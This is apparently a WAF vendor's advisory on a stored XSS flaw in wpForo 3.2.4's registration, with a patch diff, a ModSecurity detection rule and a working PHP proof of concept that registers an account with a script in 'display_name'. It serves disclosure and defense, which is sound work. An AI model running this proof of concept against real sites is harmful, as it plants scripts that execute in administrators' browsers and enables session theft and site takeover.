Published : November 20, 2026

CVE-2026-123830: wpForo Forum <= 3.2.4 Unauthenticated Stored Cross-Site Scripting via 'data[display_name]' Parameter via Registration PoC, Patch Analysis & Rule

Plugin wpforo
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 3.2.4
Patched Version 3.2.5
Disclosed November 19, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-123830: wpForo Forum <= 3.2.4 contains an unauthenticated stored cross-site scripting vulnerability in the registration flow. The 'data[display_name]' parameter bypasses input sanitization and output escaping, allowing malicious scripts to persist and execute when administrators view member listings or user profiles. Atomic Edge rates this as high severity (CVSS 7.2).

The root cause lies in wpforo/classes/Members.php and wpforo/classes/Forms.php. The registration handler processes 'data[display_name]' without sanitizing it. Unlike other fields such as 'user_email' or 'first_name', which use sanitize_email() and sanitize_text_field(), display_name lacks sanitization in the registration path. The patch adds a reserved-field unset for 'display_name' in the registration handler (lines 653-656 and 2279-2282) and enforces sanitize_text_field() in update() (lines 974-976). Further, Tinymce fields (about, signature) were not sanitized with wpforo_kses(), allowing script injection outside wpForo.

Exploitation is straightforward. An unauthenticated attacker submits a POST to the registration endpoint with 'data[display_name]=alert(document.cookie)’. The required ‘_wpfnonce’ can be obtained from the public sign-up page. Successful registration stores the payload. When an administrator views the Members list (wp-admin/admin.php?page=wpforo-members) or the user’s profile, the script executes in the admin’s browser, enabling session hijacking, privilege escalation, or backdoor installation.

The patch introduces multiple layers. First, it prevents client-side bypass by unsetting reserved fields (‘display_name’, ‘user_nicename’, ‘user_url’, ‘first_name’, ‘last_name’) from the ‘data’ array in the registration handler. Second, the update() method now sanitizes ‘display_name’ with sanitize_text_field(), ‘user_nicename’ with sanitize_title(sanitize_user()), ‘user_url’ with esc_url_raw(), and ‘first_name’/’last_name’ with sanitize_text_field(). Third, it sanitizes ‘about’ with wpforo_kses() and escapes output in Template.php (esc_attr, esc_html), hooks.php (esc_html), and Members.php (esc_html). This prevents both storage and execution of malicious payloads.

If exploited, this vulnerability allows an attacker to execute arbitrary JavaScript in the context of an administrator or other privileged user. This can lead to cookie theft, account takeover, creation of rogue admin accounts, or full site compromise. The unauthenticated nature and the requirement for user registration (users_can_register=1) make it a significant threat to forums with open registration.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wpforo/admin/listtables/Members.php
+++ b/wpforo/admin/listtables/Members.php
@@ -58,7 +58,7 @@

                 return ! empty( $usergroup['name'] ) ? esc_html( $usergroup['name'] ) : __( 'default', 'wpforo' );
             case 'secondary_groupids':
-                return implode( ', ', WPF()->usergroup->get_secondary_group_names( $item[ $column_name ] ) );
+                return esc_html( implode( ', ', WPF()->usergroup->get_secondary_group_names( $item[ $column_name ] ) ) );
             case 'blog_posts':
                 return WPF()->member->blog_posts( $item['userid'] );
             case 'blog_comments':
@@ -66,7 +66,7 @@
             case 'online_time':
                 return ( $item['online_time'] ) ? wpforo_date_raw( $item['online_time'], 'datetime', false ) : '-';
             default:
-                return $item[ $column_name ];
+                return esc_html( (string) $item[ $column_name ] );
         }
     }

@@ -146,7 +146,7 @@
         //Return the title contents
         return sprintf(
                          '%1$s %2$s',
-                /*$1%s*/ $item['userid'],
+                /*$1%s*/ (int) $item['userid'],
                 /*$2%s*/ $this->row_actions( $actions )
         );
     }
--- a/wpforo/classes/Forms.php
+++ b/wpforo/classes/Forms.php
@@ -1282,6 +1282,11 @@
 				$value = sanitize_text_field( $value );
 			} elseif( $type === 'textarea' ) {
 				$value = stripslashes( wpforo_kses( trim( (string) $value ), 'user_description' ) );
+			} elseif( $type === 'tinymce' ) {
+				// Rich-text fields (about, signature) keep post-level markup, but event
+				// handlers and scripts must not reach storage: these values are also read
+				// outside wpForo, e.g. by the core post-author-biography block.
+				$value = wpforo_kses( trim( (string) $value ), 'post' );
 			} elseif( $type === 'email' ) {
 				$value = sanitize_email( $value );
 			} elseif( $type === 'password' ) {
--- a/wpforo/classes/Members.php
+++ b/wpforo/classes/Members.php
@@ -653,6 +653,11 @@
                     'user_pass2',
                     'userid',
                     'ID',
+                    'display_name',
+                    'user_nicename',
+                    'user_url',
+                    'first_name',
+                    'last_name',
                 ] as $reserved ) {
                     unset( $data['data'][ $reserved ] );
                 }
@@ -969,31 +974,29 @@
         if( $check_permissions ) WPF()->perm->can_edit_user( $userid );

         //User Fields
-        if( wpfkey( $data, 'display_name' ) ) {
-            $user_fields['display_name'] = $data['display_name'];
+        if( wpfkey( $data, 'display_name' ) && ( $display_name = sanitize_text_field( (string) $data['display_name'] ) ) !== '' ) {
+            $user_fields['display_name'] = $display_name;
             $user_fields_types[]         = '%s';
         }
         if( wpfkey( $data, 'user_email' ) ) {
             $user_fields['user_email'] = $data['user_email'];
             $user_fields_types[]       = '%s';
         }
-        if( wpfkey( $data, 'user_nicename' ) ) {
-            if( ! wpfval( $data, 'user_nicename' ) ) {
-                $user_info             = get_userdata( $userid );
-                $data['user_nicename'] = sanitize_title( sanitize_user( $user_info->user_nicename, true ) );
-            }
-            $user_fields['user_nicename'] = $data['user_nicename'];
+        // Keep the current nicename when the new value sanitizes to nothing, so a
+        // non-Latin or markup-only input can't blank the profile URL.
+        if( wpfkey( $data, 'user_nicename' ) && ( $user_nicename = sanitize_title( sanitize_user( (string) $data['user_nicename'], true ) ) ) !== '' ) {
+            $user_fields['user_nicename'] = $user_nicename;
             $user_fields_types[]          = '%s';
-            update_user_meta( $userid, 'nickname', $data['user_nicename'] );
+            update_user_meta( $userid, 'nickname', $user_nicename );
         }
         if( wpfkey( $data, 'first_name' ) ) {
-            update_user_meta( $userid, 'first_name', $data['first_name'] );
+            update_user_meta( $userid, 'first_name', sanitize_text_field( (string) $data['first_name'] ) );
         }
         if( wpfkey( $data, 'last_name' ) ) {
-            update_user_meta( $userid, 'last_name', $data['last_name'] );
+            update_user_meta( $userid, 'last_name', sanitize_text_field( (string) $data['last_name'] ) );
         }
         if( wpfkey( $data, 'user_url' ) ) {
-            $user_fields['user_url'] = $data['user_url'];
+            $user_fields['user_url'] = esc_url_raw( (string) $data['user_url'] );
             $user_fields_types[]     = '%s';
         }

@@ -1074,9 +1077,12 @@
             $profile_fields_types[]      = '%s';
         }
         if( wpfkey( $data, 'about' ) ) {
-            $profile_fields['about'] = $member['about'];
+            // Callers that skip Forms::sanitize() (registration, imports) must not be
+            // able to store scripts here: WordPress renders this meta outside wpForo.
+            $about                   = wpforo_kses( (string) $member['about'], 'post' );
+            $profile_fields['about'] = $about;
             $profile_fields_types[]  = '%s';
-            update_user_meta( $userid, 'description', $member['about'] );
+            update_user_meta( $userid, 'description', $about );
         }
         if( wpfkey( $data, 'occupation' ) ) {
             $profile_fields['occupation'] = $member['occupation'];
--- a/wpforo/classes/Template.php
+++ b/wpforo/classes/Template.php
@@ -3061,12 +3061,13 @@
                     '<blockquote data-userid="%1$d" data-postid="%2$d" data-mention="%3$s"><div class="wpforo-post-quote-head">%4$s %5$s</div>',
                     $userid,
                     $postid,
-                    $mention,
-                    ( $posted_by ? sprintf( '<div class="wpforo-post-quote-author"><strong> %1$s: %2$s </strong></div>', wpforo_phrase( 'Posted by', false ), $posted_by ) : '' ),
+                    // display_name comes from the WP profile and may contain quotes or markup.
+                    esc_attr( $mention ),
+                    ( $posted_by ? sprintf( '<div class="wpforo-post-quote-author"><strong> %1$s: %2$s </strong></div>', wpforo_phrase( 'Posted by', false ), esc_html( $posted_by ) ) : '' ),
                     ( $postid ? sprintf(
                             '<div class="wpforo-post-quote-link"><a href="%1$s" title="%2$s">↑</a></div>',
-                            WPF()->post->get_url( $postid ),
-                            wpforo_phrase( 'go to original post', false )
+                            esc_url( WPF()->post->get_url( $postid ) ),
+                            esc_attr( wpforo_phrase( 'go to original post', false ) )
                     ) : '' )
             );
         },                             (string) $text );
--- a/wpforo/includes/hooks.php
+++ b/wpforo/includes/hooks.php
@@ -2279,6 +2279,11 @@
 				'user_pass2',
 				'userid',
 				'ID',
+				'display_name',
+				'user_nicename',
+				'user_url',
+				'first_name',
+				'last_name',
 			] as $reserved ) {
 				unset( $data['data'][ $reserved ] );
 			}
@@ -2582,7 +2587,7 @@
 					$attach_html .= '<br/><div class="wpfa-item wpfa-file"><a class="attach_cant_view" style="cursor: pointer;"><span style="color: #666;">' . wpforo_phrase(
 							'Attachment',
 							false
-						) . ' : </span> ' . urldecode( basename( $match[2] ) ) . '</a></div>';
+						) . ' : </span> ' . esc_html( urldecode( basename( $match[2] ) ) ) . '</a></div>';
 				}
 			}
 			if( $attach_html ) {
--- a/wpforo/wpforo.php
+++ b/wpforo/wpforo.php
@@ -5,7 +5,7 @@
 * Description: WordPress Forum plugin. wpForo is the only AI powered forum solution for your community. Modern design and 5 forum layouts.
 * Author: gVectors Team
 * Author URI: https://gvectors.com/
-* Version: 3.2.4
+* Version: 3.2.5
 * Requires at least: 5.2
 * Requires PHP: 7.1
 * Text Domain: wpforo
@@ -14,7 +14,7 @@

 namespace wpforo;

-define( 'WPFORO_VERSION', '3.2.4' );
+define( 'WPFORO_VERSION', '3.2.5' );

 //Exit if accessed directly
 if( ! defined( 'ABSPATH' ) ) exit;

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:2026123830,phase:2,deny,status:403,chain,msg:'CVE-2026-123830 wpForo Stored XSS via data[display_name] in registration',severity:'CRITICAL',tag:'CVE-2026-123830'"
SecRule ARGS_POST:action "@streq wpforo_signup" "chain"
SecRule ARGS_POST:data[display_name] "@rx (?i)<script|onerror|onload|javascript:|alert(|document.cookie" "t:urlDecodeUni,t:htmlEntityDecode,t:compressWhitespace"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-123830 - wpForo Forum <= 3.2.4 - Unauthenticated Stored XSS via 'data[display_name]' Parameter via Registration

$target_url = 'http://target.com';  // Change to the target WordPress site

// Step 1: Fetch the registration page to extract the _wpfnonce
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/?wpforo=signup');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);

if (!$response) {
    die('Failed to fetch registration page.');
}

// Extract nonce using regex (adjust according to actual HTML)
preg_match('/name="_wpfnonce" value="([^"]+)"/', $response, $matches);
if (empty($matches[1])) {
    die('Could not find _wpfnonce. Ensure user registration is enabled and the page contains the nonce.');
}
$nonce = $matches[1];
echo "Found nonce: $noncen";

// Step 2: Prepare malicious payload
$username = 'attacker_' . rand(1000, 9999);
$email = $username . '@example.com';
$password = 'P@ssw0rd123!';
$display_name = '<script>alert(document.cookie)</script>';  // XSS payload

// Step 3: Submit registration with payload in display_name
$post_data = [
    'data[user_login]' => $username,
    'data[user_email]' => $email,
    'data[user_pass]' => $password,
    'data[user_pass2]' => $password,
    'data[display_name]' => $display_name,
    '_wpfnonce' => $nonce,
    'wpforo_signup' => '1',  // Additional parameters may be required
    'action' => 'wpforo_signup'
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$reg_response = curl_exec($ch);
curl_close($ch);

echo "Registration response: $reg_responsen";

// The malicious script is now stored and will execute when an admin views the members list or profile.
// To verify, an admin must log in and visit:
// $target_url/wp-admin/admin.php?page=wpforo-members
// or the user's profile page.

echo "XSS payload stored in display_name. Check admin panel to see if script executes.n";

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.